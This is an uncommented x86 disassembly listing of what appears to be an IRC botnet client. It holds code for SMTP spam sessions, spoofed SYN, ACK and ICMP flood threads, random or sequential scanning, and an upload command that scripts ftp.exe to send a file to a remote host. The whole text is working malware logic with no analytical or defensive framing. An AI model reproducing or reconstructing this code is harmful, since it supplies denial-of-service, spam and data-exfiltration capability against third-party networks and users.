		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42D0F0 ; " "
		push	offset dword_42BBC0
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB594
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6A8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6A4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB624
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5CC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB63C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB674
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB63C
		push	esi
		call	dword_4CB6BC
		call	dword_4CB57C
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B09C


loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch


loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]


loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8


loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------


loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42B054
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"


loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B010
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_406EEE


loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_42AFD8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42AFA0


loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB714, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407015


loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------


loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42AF20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AECC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B


loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------


loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE94


loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------


loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8


loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE2C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------


loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------


loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx


loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42ADE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40725D


loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40724B
; ---------------------------------------------------------------------------


loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42ADAC


loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]


loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------


loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h


loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42AD44
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 2680CE9h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB590
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42ACD4
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------


loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42ACA4


loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx


loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax


loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431AC8, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431AC8


loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431AC8[ecx]
		mov	[ebp+var_370], ecx


loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42AC70
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------


loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42AC3C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5C8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620


loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE


loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx


loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683


loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi


loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------


loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------


loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl


loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"


loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40774E


loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407738
; ---------------------------------------------------------------------------


loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_42AB9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB4C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407854


loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_40783E
; ---------------------------------------------------------------------------


loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42AB10
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E578[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E360[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E578
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------


loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E578[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
